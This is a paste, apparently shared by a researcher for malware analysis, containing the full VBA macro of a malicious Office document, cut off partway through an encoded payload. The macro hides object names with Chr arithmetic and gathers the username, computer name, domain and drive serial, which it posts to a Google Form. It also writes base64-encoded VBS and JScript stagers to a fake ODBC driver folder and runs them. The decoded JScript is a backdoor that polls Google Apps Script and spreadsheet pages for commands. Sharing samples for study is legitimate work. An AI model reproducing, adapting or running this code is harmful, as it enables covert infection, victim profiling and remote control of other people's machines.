View difference between Paste ID: 5CMCBv5C and ck9y4Fsr
SHOW: | | - or go back to the newest paste.
1
## uploaded by @JohnLaTwc
2
## original sample hash: 111fc266692af396a0db176c49455acef907bb6d16715f5a6a3517362e218658
3
===== macro =================================================================== 
4
Function AL8vhpb5hk3w(AO3opbjnrp9)
5
    Dim AM1wg7xyr, AN9vxh3lbsda
6
    Set AM1wg7xyr = CreateObject((Chr(-57 + 134) & Chr(-21 + 136) & Chr(-26 + 146) & Chr(83 + 26) & Chr(-76 + 184) & Chr(91 + -41) & Chr(32 + 14) & Chr(15 + 53) & Chr(-16 + 95) & Chr(-69 + 146) & Chr(20 + 48) & Chr(-81 + 192) & Chr(97 + 2) & Chr(29 + 88) & Chr(23 + 86) & Chr(26 + 75) & Chr(-28 + 138) & Chr(-5 + 121) & Chr(54 + -8) & Chr(10 + 41) & Chr(74 + -28) & Chr(45 + 3)))
7
    Set AN9vxh3lbsda = AM1wg7xyr.CreateElement((Chr(-90 + 188) & Chr(52 + 45) & Chr(7 + 108) & Chr(-17 + 118) & Chr(-53 + 107) & Chr(0 + 52)))
8
    AN9vxh3lbsda.dataType = (Chr(-91 + 189) & Chr(-44 + 149) & Chr(-63 + 173) & Chr(61 + -15) & Chr(-85 + 183) & Chr(5 + 92) & Chr(28 + 87) & Chr(100 + 1) & Chr(100 + -46) & Chr(34 + 18))
9
    AN9vxh3lbsda.nodeTypedValue = AR4ql6nqd(AO3opbjnrp9)
10
    AL8vhpb5hk3w = AN9vxh3lbsda.Text
11
    Set AN9vxh3lbsda = Nothing
12
    Set AM1wg7xyr = Nothing
13
End Function
14
15
Function AP6fuezipn4(ByVal AQ4ilbevk2j)
16
    Dim AM1wg7xyr, AN9vxh3lbsda
17
    Set AM1wg7xyr = CreateObject((Chr(10 + 67) & Chr(85 + 30) & Chr(85 + 35) & Chr(-97 + 206) & Chr(-64 + 172) & Chr(61 + -11) & Chr(-42 + 88) & Chr(-77 + 145) & Chr(-93 + 172) & Chr(-52 + 129) & Chr(39 + 29) & Chr(87 + 24) & Chr(-70 + 169) & Chr(-33 + 150) & Chr(12 + 97) & Chr(-13 + 114) & Chr(33 + 77) & Chr(-22 + 138) & Chr(-65 + 111) & Chr(27 + 24) & Chr(68 + -22) & Chr(71 + -23)))
18
    Set AN9vxh3lbsda = AM1wg7xyr.CreateElement((Chr(5 + 93) & Chr(-68 + 165) & Chr(51 + 64) & Chr(92 + 9) & Chr(-100 + 154) & Chr(46 + 6)))
19
    AN9vxh3lbsda.dataType = (Chr(67 + 31) & Chr(-17 + 122) & Chr(4 + 106) & Chr(-51 + 97) & Chr(-9 + 107) & Chr(78 + 19) & Chr(97 + 18) & Chr(-27 + 128) & Chr(48 + 6) & Chr(54 + -2))
20
    AN9vxh3lbsda.Text = AQ4ilbevk2j
21
    If AQ4ilbevk2j = "" Then
22
        AP6fuezipn4 = ""
23
    Else
24
        AP6fuezipn4 = AV0kftndmk(AN9vxh3lbsda.nodeTypedValue)
25
    End If
26
    Set AN9vxh3lbsda = Nothing
27
    Set AM1wg7xyr = Nothing
28
End Function
29
30
Function AR4ql6nqd(Text)
31
  Const AS9fvfrob = 2
32
  Const AT6yshkqzy = 1
33
  Dim AU3sjrvsqt3j
34
  Set AU3sjrvsqt3j = CreateObject((Chr(-94 + 159) & Chr(3 + 65) & Chr(-12 + 91) & Chr(60 + 8) & Chr(-85 + 151) & Chr(38 + 8) & Chr(-2 + 85) & Chr(20 + 96) & Chr(68 + 46) & Chr(83 + 18) & Chr(-71 + 168) & Chr(62 + 47)))
35
  AU3sjrvsqt3j.Type = AS9fvfrob
36
  AU3sjrvsqt3j.Charset = (Chr(17 + 100) & Chr(56 + 59) & Chr(71 + -26) & Chr(-16 + 113) & Chr(-88 + 203) & Chr(-14 + 113) & Chr(48 + 57) & Chr(-19 + 124))
37
  AU3sjrvsqt3j.Open
38
  AU3sjrvsqt3j.WriteText Text
39
  AU3sjrvsqt3j.Position = 0
40
  AU3sjrvsqt3j.Type = AT6yshkqzy
41
  AU3sjrvsqt3j.Position = 0
42
  AR4ql6nqd = AU3sjrvsqt3j.Read
43
  Set AU3sjrvsqt3j = Nothing
44
End Function
45
46
Function AV0kftndmk(Binary)
47
  Const AS9fvfrob = 2
48
  Const AT6yshkqzy = 1
49
  Dim AU3sjrvsqt3j
50
  Set AU3sjrvsqt3j = CreateObject((Chr(-6 + 71) & Chr(89 + -21) & Chr(52 + 27) & Chr(61 + 7) & Chr(39 + 27) & Chr(-9 + 55) & Chr(56 + 27) & Chr(-52 + 168) & Chr(39 + 75) & Chr(5 + 96) & Chr(57 + 40) & Chr(22 + 87)))
51
  AU3sjrvsqt3j.Type = AT6yshkqzy
52
  AU3sjrvsqt3j.Open
53
  AU3sjrvsqt3j.Write Binary
54
  AU3sjrvsqt3j.Position = 0
55
  AU3sjrvsqt3j.Type = AS9fvfrob
56
  AU3sjrvsqt3j.Charset = (Chr(8 + 109) & Chr(-23 + 138) & Chr(1 + 44) & Chr(-78 + 175) & Chr(39 + 76) & Chr(-16 + 115) & Chr(-80 + 185) & Chr(92 + 13))
57
  AV0kftndmk = AU3sjrvsqt3j.ReadText
58
  Set AU3sjrvsqt3j = Nothing
59
End Function
60
61
62
63
64
65
66
Function getOS() As String
67
On Error Resume Next
68
    Dim OS
69
    For Each OS In GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
70
        getOS = OS.Caption
71
    Next OS
72
    Set OS = Nothing
73
End Function
74
75
Public Function IsWin32OrWin64() As String
76
On Error Resume Next
77
    Dim proc_query As String
78
    Dim proc_results As Object
79
    Dim info As Object
80
    
81
    proc_query = "SELECT * FROM Win32_Processor"
82
    Set proc_results = GetObject("Winmgmts:").ExecQuery(proc_query)
83
    For Each info In proc_results
84
        IsWin32OrWin64 = info.AddressWidth & "-bit"
85
    Next info
86
End Function
87
88
Function clearStr(Value As String) As String
89
On Error Resume Next
90
    Dim RE As Object
91
    Set RE = CreateObject("VBScript.RegExp")
92
    RE.ignoreCase = True
93
    RE.Global = True
94
    RE.Pattern = "[^\w]+"
95
    clearStr = RE.Replace(Value, "")
96
End Function
97
Function cuid() As String
98
On Error Resume Next
99
    Dim giac: giac = "1"
100
    Dim uuid: uuid = "1"
101
    
102
    Dim FSO, D, Serial
103
    Set FSO = CreateObject("Scripting.FileSystemObject")
104
    strDrive = FSO.GetDriveName(FSO.GetSpecialFolder(0))
105
    Set D = FSO.GetDrive(strDrive)
106
    Serial = D.SerialNumber
107
    
108
    Dim result As String
109
    result = AL8vhpb5hk3w("" & Serial)
110
    result = Mid(clearStr(result), 1, 20)
111
    cuid = uuid & "." & giac & "." & result
112
End Function
113
114
Function GetUserData() As String
115
On Error Resume Next
116
GetUserData = "UserName: " & Environ$("USERNAME") _
117
& " | " & "ComputerName: " & Environ$("COMPUTERNAME") _
118
& " | " & "UserDomain: " & Environ$("USERDOMAIN")
119
End Function
120
121
Function sendFormData(Value As String) As Boolean
122
    Dim formkey: formkey = "1F1zY2cODJxkCCorfv42kif4mxDsZ__BpXourgrkCtyo"
123
    Dim entry: entry = "entry.766326787"
124
    Dim rc As Variant
125
    On Error Resume Next
126
    Dim HttpRequest As Object
127
    Set HttpRequest = CreateObject("MSXML2.XMLHTTP")
128
    If Err.Number <> 0 Then
129
        sendFormData = False
130
        Set HttpRequest = Nothing
131
        Exit Function
132
    End If
133
    On Error GoTo EndNow
134
    HttpRequest.Open "POST", "https://docs.google.com/forms/d/" & formkey & "/formResponse", False
135
    HttpRequest.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
136
    HttpRequest.Send (entry & "=" & Value)
137
    If HttpRequest.ReadyState <> 4 Then
138
          HttpRequest.WaitForResponse 30
139
    End If
140
    rc = HttpRequest.StatusText
141
    If rc = "OK" Then
142
        sendFormData = True
143
    Else
144
        sendFormData = False
145
    End If
146
EndNow:
147
    Set HttpRequest = Nothing
148
End Function
149
150
Function CreateDir(YourPath As String) As Boolean
151
    On Error GoTo EndNow
152
    If Dir(YourPath, vbDirectory) = "" Then
153
        MkDir (YourPath)
154
    End If
155
    CreateDir = True
156
    Exit Function
157
EndNow:
158
    CreateDir = False
159
End Function
160
161
Sub folderInit()
162
    On Error Resume Next
163
    Set sh = CreateObject("WScript.Shell")
164
    Dim FileNumber, figName
165
    Dim WorkPath As String
166
    WorkPath = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%")
167
    WorkPath = WorkPath & "\TransbaseOdbcDriver"
168
    Dim statMkDir As Boolean
169
    statMkDir = CreateDir(WorkPath)
170
    If statMkDir Then
171
        FileNumber = FreeFile
172
        figName = WorkPath & "\LanCradDriver.ini"
173
        Open figName For Output As #FileNumber
174
        Close #FileNumber
175
    End If
176
End Sub
177
178
Sub ggl_runer()
179
    On Error Resume Next
180
    Dim f: f = "RGltIG9iakZTTywgb2JqU2hlbGwsIHN0ckZpbGUsIFJlYWRBbGxUZXh0RmlsZQ0KU2V0IG9iakZT"
181
    f = f & "TyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IG9ialNo"
182
    f = f & "ZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoICJXU2NyaXB0LlNoZWxsIiApDQpzdHJGaWxlID0g"
183
    f = f & "b2JqU2hlbGwuRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCIlQUxMVVNFUlNQUk9GSUxFJVxUcmFu"
184
    f = f & "c2Jhc2VPZGJjRHJpdmVyXExhbkNyYWREcml2ZXIuaW5pIikNClNldCBvYmpGaWxlID0gb2JqRlNP"
185
    f = f & "Lk9wZW5UZXh0RmlsZShzdHJGaWxlLDEsZmFsc2UsLTEpDQpJZiBvYmpGaWxlLkF0RW5kT2ZTdHJl"
186
    f = f & "YW0gVGhlbg0KCVJlYWRBbGxUZXh0RmlsZSA9ICIiDQpFbHNlDQoJUmVhZEFsbFRleHRGaWxlID0g"
187
    f = f & "b2JqRmlsZS5SZWFkQWxsDQpFbmQgSWYNCm9iakZpbGUuQ2xvc2UNCkV4ZWN1dGVHbG9iYWwgUmVh"
188
    f = f & "ZEFsbFRleHRGaWxl"
189
190
    Set sh = CreateObject("WScript.Shell")
191
    Dim FileNumber, figName
192
    Dim WorkPath As String
193
    WorkPath = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%")
194
    WorkPath = WorkPath & "\TransbaseOdbcDriver"
195
    Dim statMkDir As Boolean
196
    statMkDir = CreateDir(WorkPath)
197
    If statMkDir Then
198
        FileNumber = FreeFile
199
        figName = WorkPath & "\LanCradDriver.vbs"
200
        Open figName For Output As #FileNumber
201
        Print #FileNumber, AP6fuezipn4(f)
202
        Close #FileNumber
203
    End If
204
End Sub
205
206
Sub ggl_starter()
207
On Error Resume Next
208
    Dim f: f = "RGltIG9ialNoZWxsLHBhdGgNClNldCBvYmpTaGVsbCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCAi"
209
    f = f & "V1NjcmlwdC5TaGVsbCIgKQ0KcGF0aCA9IG9ialNoZWxsLkV4cGFuZEVudmlyb25tZW50U3RyaW5n"
210
    f = f & "cygiJUFMTFVTRVJTUFJPRklMRSVcVHJhbnNiYXNlT2RiY0RyaXZlclxUcmFuc2Jhc2VPZGJjRHJp"
211
    f = f & "dmVyLmpzIikNCnBhdGggPSAiY21kLmV4ZSAvayB3c2NyaXB0LmV4ZSAiIiIgJiBwYXRoICYgIiIi"
212
    f = f & "Ig0Kb2JqU2hlbGwuUnVuIHBhdGgsIDAsIHRydWUgDQpTZXQgb2JqU2hlbGwgPSBOb3RoaW5n"
213
    Set sh = CreateObject("WScript.Shell")
214
    Dim FileNumber, figName
215
    Dim WorkPath As String
216
    WorkPath = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%")
217
    WorkPath = WorkPath & "\TransbaseOdbcDriver"
218
    Dim statMkDir As Boolean
219
    statMkDir = CreateDir(WorkPath)
220
    If statMkDir Then
221
        FileNumber = FreeFile
222
        figName = WorkPath & "\starter.vbs"
223
        Open figName For Output As #FileNumber
224
        Print #FileNumber, AP6fuezipn4(f)
225
        Close #FileNumber
226
    End If
227
End Sub
228
229
Public Sub ggl_hex()
230
On Error Resume Next
231
Dim f: f = "dmFyIG9ialNXYmVtU2VydmljZXNFeCA9IEdldE9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXR"
232
 f = f & "pb25MZXZlbD1pbXBlcnNvbmF0ZX0hXFxcXC5cXHJvb3RcXGNpbXYyIik7DQp2YXIgY29sbFNXYm"
233
 f = f & "VtT2JqZWN0U2V0ID0gb2JqU1diZW1TZXJ2aWNlc0V4LkV4ZWNRdWVyeSggIlNFTEVDVCBOYW1lL"
234
 f = f & "CBDb21tYW5kTGluZSwgUHJvY2Vzc0lEIEZST00gV2luMzJfUHJvY2VzcyBXSEVSRSBOYW1lIExJ"
235
 f = f & "S0UgJyVbY3ddc2NyaXB0LmV4ZScgQU5EIENvbW1hbmRMaW5lIExJS0UgJyVbY3ddc2NyaXB0JSI"
236
 f = f & "gKyBXU2NyaXB0LlNjcmlwdE5hbWUgKyAiJSciLCAiV1FMIiwgMCk7DQppZihjb2xsU1diZW1PYm"
237
 f = f & "plY3RTZXQuQ291bnQgPiAxKXsgV1NjcmlwdC5RdWl0KCk7IH0NCg0KdmFyIEJhc2U2NCA9IHsNC"
238
 f = f & "iANCiAgLy8gcHJpdmF0ZSBwcm9wZXJ0eQ0KICBfa2V5U3RyOiAiQUJDREVGR0hJSktMTU5PUFFS"
239
 f = f & "U1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0iLA0KIA0KICA"
240
 f = f & "vLyBwdWJsaWMgbWV0aG9kIGZvciBlbmNvZGluZw0KICBlbmNvZGU6IGZ1bmN0aW9uIChpbnB1dC"
241
 f = f & "kgew0KICAgIHZhciBvdXRwdXQgPSAiIjsNCiAgICB2YXIgY2hyMSwgY2hyMiwgY2hyMywgZW5jM"
242
 f = f & "SwgZW5jMiwgZW5jMywgZW5jNDsNCiAgICB2YXIgaSA9IDA7DQogDQogICAgaW5wdXQgPSBCYXNl"
243
 f = f & "NjQuX3V0ZjhfZW5jb2RlKGlucHV0KTsNCiANCiAgICB3aGlsZSAoaSA8IGlucHV0Lmxlbmd0aCk"
244
 f = f & "gew0KIA0KICAgICAgY2hyMSA9IGlucHV0LmNoYXJDb2RlQXQoaSsrKTsNCiAgICAgIGNocjIgPS"
245
 f = f & "BpbnB1dC5jaGFyQ29kZUF0KGkrKyk7DQogICAgICBjaHIzID0gaW5wdXQuY2hhckNvZGVBdChpK"
246
 f = f & "yspOw0KIA0KICAgICAgZW5jMSA9IGNocjEgPj4gMjsNCiAgICAgIGVuYzIgPSAoKGNocjEgJiAz"
247
 f = f & "KSA8PCA0KSB8IChjaHIyID4+IDQpOw0KICAgICAgZW5jMyA9ICgoY2hyMiAmIDE1KSA8PCAyKSB"
248
 f = f & "8IChjaHIzID4+IDYpOw0KICAgICAgZW5jNCA9IGNocjMgJiA2MzsNCiANCiAgICAgIGlmIChpc0"
249
 f = f & "5hTihjaHIyKSkgew0KICAgICAgICBlbmMzID0gZW5jNCA9IDY0Ow0KICAgICAgfSBlbHNlIGlmI"
250
 f = f & "Chpc05hTihjaHIzKSkgew0KICAgICAgICBlbmM0ID0gNjQ7DQogICAgICB9DQogDQogICAgICBv"
251
 f = f & "dXRwdXQgPSBvdXRwdXQgKyB0aGlzLl9rZXlTdHIuY2hhckF0KGVuYzEpICsgdGhpcy5fa2V5U3R"
252
 f = f & "yLmNoYXJBdChlbmMyKSArIHRoaXMuX2tleVN0ci5jaGFyQXQoZW5jMykgKyB0aGlzLl9rZXlTdH"
253
 f = f & "IuY2hhckF0KGVuYzQpOw0KIA0KICAgIH0NCiANCiAgICByZXR1cm4gb3V0cHV0Ow0KICB9LA0KI"
254
 f = f & "A0KICAvLyBwdWJsaWMgbWV0aG9kIGZvciBkZWNvZGluZw0KICBkZWNvZGU6IGZ1bmN0aW9uIChp"
255
 f = f & "bnB1dCkgew0KICAgIHZhciBvdXRwdXQgPSAiIjsNCiAgICB2YXIgY2hyMSwgY2hyMiwgY2hyMzs"
256
 f = f & "NCiAgICB2YXIgZW5jMSwgZW5jMiwgZW5jMywgZW5jNDsNCiAgICB2YXIgaSA9IDA7DQogDQogIC"
257
 f = f & "AgaW5wdXQgPSBpbnB1dC5yZXBsYWNlKC9bXkEtWmEtejAtOVwrXC9cPV0vZywgIiIpOw0KIA0KI"
258
 f = f & "CAgIHdoaWxlIChpIDwgaW5wdXQubGVuZ3RoKSB7DQogDQogICAgICBlbmMxID0gdGhpcy5fa2V5"
259
 f = f & "U3RyLmluZGV4T2YoaW5wdXQuY2hhckF0KGkrKykpOw0KICAgICAgZW5jMiA9IHRoaXMuX2tleVN"
260
 f = f & "0ci5pbmRleE9mKGlucHV0LmNoYXJBdChpKyspKTsNCiAgICAgIGVuYzMgPSB0aGlzLl9rZXlTdH"
261
 f = f & "IuaW5kZXhPZihpbnB1dC5jaGFyQXQoaSsrKSk7DQogICAgICBlbmM0ID0gdGhpcy5fa2V5U3RyL"
262
 f = f & "mluZGV4T2YoaW5wdXQuY2hhckF0KGkrKykpOw0KIA0KICAgICAgY2hyMSA9IChlbmMxIDw8IDIp"
263
 f = f & "IHwgKGVuYzIgPj4gNCk7DQogICAgICBjaHIyID0gKChlbmMyICYgMTUpIDw8IDQpIHwgKGVuYzM"
264
 f = f & "gPj4gMik7DQogICAgICBjaHIzID0gKChlbmMzICYgMykgPDwgNikgfCBlbmM0Ow0KIA0KICAgIC"
265
 f = f & "Agb3V0cHV0ID0gb3V0cHV0ICsgU3RyaW5nLmZyb21DaGFyQ29kZShjaHIxKTsNCiANCiAgICAgI"
266
 f = f & "GlmIChlbmMzICE9IDY0KSB7DQogICAgICAgIG91dHB1dCA9IG91dHB1dCArIFN0cmluZy5mcm9t"
267
 f = f & "Q2hhckNvZGUoY2hyMik7DQogICAgICB9DQogICAgICBpZiAoZW5jNCAhPSA2NCkgew0KICAgICA"
268
 f = f & "gICBvdXRwdXQgPSBvdXRwdXQgKyBTdHJpbmcuZnJvbUNoYXJDb2RlKGNocjMpOw0KICAgICAgfQ"
269
 f = f & "0KIA0KICAgIH0NCiANCiAgICBvdXRwdXQgPSBCYXNlNjQuX3V0ZjhfZGVjb2RlKG91dHB1dCk7D"
270
 f = f & "QogDQogICAgcmV0dXJuIG91dHB1dDsNCiANCiAgfSwNCiANCiAgLy8gcHJpdmF0ZSBtZXRob2Qg"
271
 f = f & "Zm9yIFVURi04IGVuY29kaW5nDQogIF91dGY4X2VuY29kZTogZnVuY3Rpb24gKHN0cmluZykgew0"
272
 f = f & "KICAgIHN0cmluZyA9IHN0cmluZy5yZXBsYWNlKC9cclxuL2csICJcbiIpOw0KICAgIHZhciB1dG"
273
 f = f & "Z0ZXh0ID0gIiI7DQogDQogICAgZm9yICh2YXIgbiA9IDA7IG4gPCBzdHJpbmcubGVuZ3RoOyBuK"
274
 f = f & "yspIHsNCiANCiAgICAgIHZhciBjID0gc3RyaW5nLmNoYXJDb2RlQXQobik7DQogDQogICAgICBp"
275
 f = f & "ZiAoYyA8IDEyOCkgew0KICAgICAgICB1dGZ0ZXh0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoYyk"
276
 f = f & "7DQogICAgICB9IGVsc2UgaWYgKChjID4gMTI3KSAmJiAoYyA8IDIwNDgpKSB7DQogICAgICAgIH"
277
 f = f & "V0ZnRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoYyA+PiA2KSB8IDE5Mik7DQogICAgICAgI"
278
 f = f & "HV0ZnRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoYyAmIDYzKSB8IDEyOCk7DQogICAgICB9"
279
 f = f & "IGVsc2Ugew0KICAgICAgICB1dGZ0ZXh0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoKGMgPj4gMTI"
280
 f = f & "pIHwgMjI0KTsNCiAgICAgICAgdXRmdGV4dCArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKCgoYyA+Pi"
281
 f = f & "A2KSAmIDYzKSB8IDEyOCk7DQogICAgICAgIHV0ZnRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZ"
282
 f = f & "SgoYyAmIDYzKSB8IDEyOCk7DQogICAgICB9DQogDQogICAgfQ0KIA0KICAgIHJldHVybiB1dGZ0"
283
 f = f & "ZXh0Ow0KICB9LA0KIA0KICAvLyBwcml2YXRlIG1ldGhvZCBmb3IgVVRGLTggZGVjb2RpbmcNCiA"
284
 f = f & "gX3V0ZjhfZGVjb2RlOiBmdW5jdGlvbiAodXRmdGV4dCkgew0KICAgIHZhciBzdHJpbmcgPSAiIj"
285
 f = f & "sNCiAgICB2YXIgaSA9IDA7DQogICAgdmFyIGMgPSBjMSA9IGMyID0gMDsNCiANCiAgICB3aGlsZ"
286
 f = f & "SAoaSA8IHV0ZnRleHQubGVuZ3RoKSB7DQogDQogICAgICBjID0gdXRmdGV4dC5jaGFyQ29kZUF0"
287
 f = f & "KGkpOw0KIA0KICAgICAgaWYgKGMgPCAxMjgpIHsNCiAgICAgICAgc3RyaW5nICs9IFN0cmluZy5"
288
 f = f & "mcm9tQ2hhckNvZGUoYyk7DQogICAgICAgIGkrKzsNCiAgICAgIH0gZWxzZSBpZiAoKGMgPiAxOT"
289
 f = f & "EpICYmIChjIDwgMjI0KSkgew0KICAgICAgICBjMiA9IHV0ZnRleHQuY2hhckNvZGVBdChpICsgM"
290
 f = f & "Sk7DQogICAgICAgIHN0cmluZyArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKCgoYyAmIDMxKSA8PCA2"
291
 f = f & "KSB8IChjMiAmIDYzKSk7DQogICAgICAgIGkgKz0gMjsNCiAgICAgIH0gZWxzZSB7DQogICAgICA"
292
 f = f & "gIGMyID0gdXRmdGV4dC5jaGFyQ29kZUF0KGkgKyAxKTsNCiAgICAgICAgYzMgPSB1dGZ0ZXh0Lm"
293
 f = f & "NoYXJDb2RlQXQoaSArIDIpOw0KICAgICAgICBzdHJpbmcgKz0gU3RyaW5nLmZyb21DaGFyQ29kZ"
294
 f = f & "SgoKGMgJiAxNSkgPDwgMTIpIHwgKChjMiAmIDYzKSA8PCA2KSB8IChjMyAmIDYzKSk7DQogICAg"
295
 f = f & "ICAgIGkgKz0gMzsNCiAgICAgIH0NCiANCiAgICB9DQogDQogICAgcmV0dXJuIHN0cmluZzsNCiA"
296
 f = f & "gfQ0KfQ0KDQppZighQ3JlYXRlRGlyKCkpV1NjcmlwdC5RdWl0KCk7DQoNCnZhciBnaWFjID0gIj"
297
 f = f & "EiOw0KdmFyIHV1aWQgPSAiMSI7DQp2YXIgZ3VpZCA9IENVSUQoKTsNCgkNCnZhciBzZXR0dGluZ"
298
 f = f & "0FyciA9IGZhbHNlOw0KDQpkbyB7DQoJDQoJaWYgKCBzZXR0dGluZ0FyciApIHsNCgkgICAgR2V0"
299
 f = f & "U291cmNlQ29kZShzZXR0dGluZ0Fyci5zcHJlYWRzaGVldGtleSwgc2V0dHRpbmdBcnIuZm9ybWt"
300
 f = f & "leSwgc2V0dHRpbmdBcnIuZW50cnkpOw0KCX1lbHNlew0KCQlzZXR0dGluZ0FyciA9IExvYWRMaW"
301
 f = f & "5rU2V0dGluZ3MoKTsJDQoJfQ0KCVdTY3JpcHQuU2xlZXAoMTAwMCo2MCpyYW5kSW50KDEsMikpO"
302
 f = f & "w0KfQ0Kd2hpbGUgKDEpOw0KZnVuY3Rpb24gcmFuZEludChtaW4sIG1heCl7DQogIHJldHVybiBN"
303
 f = f & "YXRoLnJvdW5kKE1hdGgucmFuZG9tKCkqKG1heC1taW4pK21pbik7DQp9DQoNCmZ1bmN0aW9uIEx"
304
 f = f & "vYWRMaW5rU2V0dGluZ3MoKSB7DQoJdmFyIGdvX2NvbSA9IEluZXRSZWFkKCJodHRwczovL3Njcm"
305
 f = f & "lwdC5nb29nbGUuY29tL21hY3Jvcy9zL0FLZnljYnpvSURyU3RTZWI1aUptd3N4R1pCdm9jc3c0Z"
306
 f = f & "GEyRlp3MF9mcU9rUkFnd3pIN2gyYUUvZXhlYyIrICI/YmlkPSIgKyBndWlkKTsNCgl0cnkgew0K"
307
 f = f & "CQlpZiggZ29fY29tWydzdGF0J10gPj0gMjAwICYmICBnb19jb21bJ3N0YXQnXSA8IDMwMCl7DQo"
308
 f = f & "JCQl2YXIgY21kX3R4dCA9IGdvX2NvbVsndGV4dCddOw0KCQkJdmFyIHNldHRpbmdzQXJyID0gY2"
309
 f = f & "1kX3R4dC5tYXRjaCggLyxcXHgyMnVzZXJIdG1sXFx4MjI6XFx4MjIoLispXFx4MjIsXFx4MjJuY"
310
 f = f & "2MvICk7DQoJCQl2YXIgc2V0dGluZyA9IHNwbGl0KHNldHRpbmdzQXJyWzFdLCckJCQnLDMpOw0K"
311
 f = f & "CQkJaWYgKHNldHRpbmcubGVuZ3RoID09IDMpIHsgDQoJCQkJcmV0dXJuIHsNCgkJCQkJICJzcHJ"
312
 f = f & "lYWRzaGVldGtleSI6IHNldHRpbmdbMF0NCgkJCQkJLCJmb3Jta2V5Ijogc2V0dGluZ1sxXQ0KCQ"
313
 f = f & "kJCQksImVudHJ5Ijogc2V0dGluZ1syXSANCgkJCQl9OwkJDQoJCQl9DQoJCQl2YXIgZm9ybWtle"
314
 f = f & "VJlZyA9ICIxQlp1UDNWWVFqTEFJNTlEcF9POXZDSDFrZ19nUU52aEl2di1Ca21wQlRaNCI7DQoJ"
315
 f = f & "CQl2YXIgZW50cnlSZWcgPSAiZW50cnkuMjAyNTg4NTkzMiI7DQoJCQlMb2dJbmV0KGd1aWQsZm9"
316
 f = f & "ybWtleVJlZyxlbnRyeVJlZyk7CQkJDQoJCX0NCgl9IGNhdGNoIChlKSB7fQ0KCXJldHVybiBmYW"
317
 f = f & "xzZTsJDQp9CQkNCg0KZnVuY3Rpb24gR2V0U291cmNlQ29kZShhc3ByZWFkc2hlZXRrZXksYWZvc"
318
 f = f & "m1rZXksYWVudHJ5KSB7DQoNCiAgICAgICAgdmFyIEdsb2JhbE9iamVjdCA9IHRoaXM7DQogICAg"
319
 f = f & "ICAgIHZhciBGU08gPSBuZXcgQWN0aXZlWE9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmp"
320
 f = f & "lY3QiKTsNCiAgICAgICAgdmFyIFdzaFNoZWxsID0gbmV3IEFjdGl2ZVhPYmplY3QoIldTY3JpcH"
321
 f = f & "QuU2hlbGwiKTsNCgkJDQogICAgICAgIHZhciBmb3Jta2V5ID0gYWZvcm1rZXk7DQoJCXZhciBlb"
322
 f = f & "nRyeSA9IGFlbnRyeTsNCiAgICAgICAgdmFyIHNwcmVhZHNoZWV0a2V5ID0gYXNwcmVhZHNoZWV0"
323
 f = f & "a2V5Ow0KDQogICAgICAgIHZhciBpbnRlcnZhbE1pbiA9IDMwOw0KICAgICAgICB2YXIgaW50ZXJ"
324
 f = f & "2YWxNYXggPSA1MDsNCiAgICAgICAgdmFyIGJvdGNsYXNzID0gR2VuZXJhdGVTdHJpbmcoOCk7DQ"
325
 f = f & "ogICAgICAgIHZhciBsYXN0ID0gVGV4dEZpbGVSZWFkKCIlQUxMVVNFUlNQUk9GSUxFJVxcVHJhb"
326
 f = f & "nNiYXNlT2RiY0RyaXZlclxcZHR0c2cudHh0Iik7DQogICAgICAgIHZhciB2ZXJzaW9uID0gIjEu"
327
 f = f & "MCI7DQoJCQ0KCQl2YXIgbGlua1BCID0gImh0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L01mUVY1ZTZ"
328
 f = f & "SIjsNCgkJdmFyIGtleVBhdGggPSAiSEtFWV9DVVJSRU5UX1VTRVJcXFNvZnR3YXJlXFxNaWNyb3"
329
 f = f & "NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxsYXN0cyI7CQkNCgkJDQogICAgICAgIFdza"
330
 f = f & "FNoZWxsLkN1cnJlbnREaXJlY3RvcnkgPSBHZXRTY3JpcHREaXIoKTsNCiAgICAgICAgTG9nKCk7"
331
 f = f & "DQogICAgICAgIEdldENvbW1hbmQoKTsNCgkJDQogICAgICAgIGZ1bmN0aW9uIEdldENvbW1hbmQ"
332
 f = f & "oKSB7DQogICAgICAgICAgICAgICAgdHJ5IHsNCgkJCQkJCXZhciBsZWdjID0gZ2V0TGFzdEV4ZU"
333
 f = f & "dvb2dDbWQoKTsNCgkJCQkJCXZhciBjbWJfb2IgPSB7fQ0KCQkJCQkJY21iX29iLmZsYWcgPSBmY"
334
 f = f & "WxzZTsNCgkJCQkJCQ0KCQkJCQkJdmFyIGdvX2NvbSA9IEluZXRSZWFkKCJodHRwczovL2RvY3Mu"
335
 f = f & "Z29vZ2xlLmNvbS9zcHJlYWRzaGVldC9jY2M/a2V5PSIgKyBzcHJlYWRzaGVldGtleSk7DQoJCQk"
336
 f = f & "JCQlpZiggZ29fY29tWydzdGF0J10gPj0gMjAwICYmICBnb19jb21bJ3N0YXQnXSA8IDMwMCl7DQ"
337
 f = f & "oJCQkJCQkJdmFyIGNtZF90eHQgPSBIVE1MUGFyc2UoZ29fY29tWyd0ZXh0J10pLmRvY3VtZW50L"
338
 f = f & "mRvY3VtZW50RWxlbWVudC5pbm5lclRleHQ7DQoJCQkJCQkJdmFyIGNvbW1hbmQgPSBzcGxpdChj"
339
 f = f & "bWRfdHh0LCckJCQnLDMpOwkNCgkJCQkJCQlpZiAoY29tbWFuZC5sZW5ndGggPT0gNCkgew0KCQk"
340
